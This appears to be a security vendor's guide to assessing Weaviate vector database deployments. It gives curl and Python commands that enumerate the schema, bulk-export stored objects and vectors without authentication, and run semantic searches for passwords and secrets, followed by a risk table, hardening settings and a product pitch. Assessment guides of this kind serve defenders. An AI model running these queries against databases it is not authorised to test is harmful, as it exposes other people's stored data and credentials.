Weaviate is a widely deployed open-source vector database used to power semantic search, RAG (Retrieval-Augmented Generation) pipelines, and AI applications. Vector databases store embeddings of sensitive documents, user data, and proprietary content — and Weaviate's security defaults are minimal: the REST and GraphQL APIs on port 8080 require no authentication on default deployments, allowing any network client to enumerate all classes (schema), query all stored objects and their vector embeddings, insert or modify objects, and delete entire collections; Weaviate's multi-tenancy feature, when misconfigured, allows cross-tenant access — a tenant key obtained from one tenant can be used to query another tenant's data; the backup REST API endpoint allows snapshots to be written to configured storage backends without verifying caller identity; API key authentication (when enabled) is passed in the Authorization header and frequently logged by upstream reverse proxies; and Weaviate's nearText query interface allows semantic inference about stored content even without reading raw text properties. This guide covers systematic Weaviate security assessment.
# Weaviate default port: 8080 (HTTP REST + GraphQL)
# gRPC port: 50051 (Weaviate v1.23+)
# Check Weaviate version (no auth required)
curl -s http://weaviate.example.com:8080/v1/meta 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Weaviate {d.get('version','?')} modules={list(d.get('modules',{}).keys())[:5]}\")" 2>/dev/null
# Check if authentication is enabled
curl -s -o /dev/null -w "%{http_code}" \
http://weaviate.example.com:8080/v1/schema 2>/dev/null
# 200 = no auth required; 401 = auth enabled
# List all classes (schema) without authentication
curl -s http://weaviate.example.com:8080/v1/schema 2>/dev/null | \
python3 -c "
import json,sys
schema = json.load(sys.stdin)
classes = schema.get('classes', [])
print(f'Classes: {len(classes)}')
for cls in classes:
props = [p['name'] for p in cls.get('properties', [])]
print(f\" {cls['class']}: {props[:8]}\")
" 2>/dev/null
# Count total objects per class (reveals data scale)
curl -s http://weaviate.example.com:8080/v1/objects?limit=1 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f'Total objects: {data.get(\"totalResults\",0)}')
" 2>/dev/null
# Bulk export all objects from a class using GraphQL (no auth)
# Replace 'Document' with discovered class name
curl -s -X POST \
http://weaviate.example.com:8080/v1/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "{
Get {
Document(limit: 100) {
title
content
url
_additional { id vector }
}
}
}"
}' 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
objects = data.get('data',{}).get('Get',{}).get('Document',[])
print(f'Objects exported: {len(objects)}')
for obj in objects[:5]:
print(f\" title={obj.get('title','?')[:50]} content_len={len(str(obj.get('content','')))}\")" 2>/dev/null
# Semantic search to infer stored content (nearText)
curl -s -X POST \
http://weaviate.example.com:8080/v1/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{Get{Document(nearText:{concepts:[\"password\",\"secret\",\"credential\"],distance:0.3},limit:10){title content _additional{distance}}}}"}' 2>/dev/null | \
python3 -c "import json,sys; data=json.load(sys.stdin); objs=data.get('data',{}).get('Get',{}).get('Document',[]); [print(f' {o.get(\"title\",\"?\")[:60]} dist={o.get(\"_additional\",{}).get(\"distance\")}') for o in objs]" 2>/dev/null
AUTHENTICATION_APIKEY_ENABLED=true and AUTHENTICATION_APIKEY_ALLOWED_KEYS in environment variables; without this, all data is publicly accessibleAUTHORIZATION_ADMINLIST_ENABLED=true and define read-only vs admin user lists; authentication alone does not restrict what authenticated users can do| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated REST/GraphQL API access | GET /v1/schema — enumerates all classes without credentials | High |
| Bulk vector data exfiltration | GraphQL Get query with high limit — exports all stored objects including text properties | High |
| Semantic search reveals stored content themes | nearText query for "password", "secret" — infers what sensitive data is stored even without raw access | High |
| Cross-tenant data access in multi-tenancy mode | Query tenant B's class using tenant A's key — verify isolation enforcement | High |
| Backup endpoint creates full snapshot without auth | POST /v1/backups/{backend} — initiates full database backup to configured storage | High |
| Vectorizer module API keys in /v1/meta | GET /v1/meta — may expose OpenAI/Cohere API key configurations used by modules | Medium |
Ironimo tests Weaviate deployments for unauthenticated REST and GraphQL API access allowing schema enumeration and bulk vector data exfiltration, semantic nearText queries inferring stored sensitive content without raw data access, multi-tenancy isolation failures allowing cross-tenant object access, backup endpoint abuse creating full database snapshots without authorization, vectorizer module API key exposure via metadata endpoints, and Weaviate APIs operating over unencrypted HTTP with API keys logged by reverse proxies.
Start free scan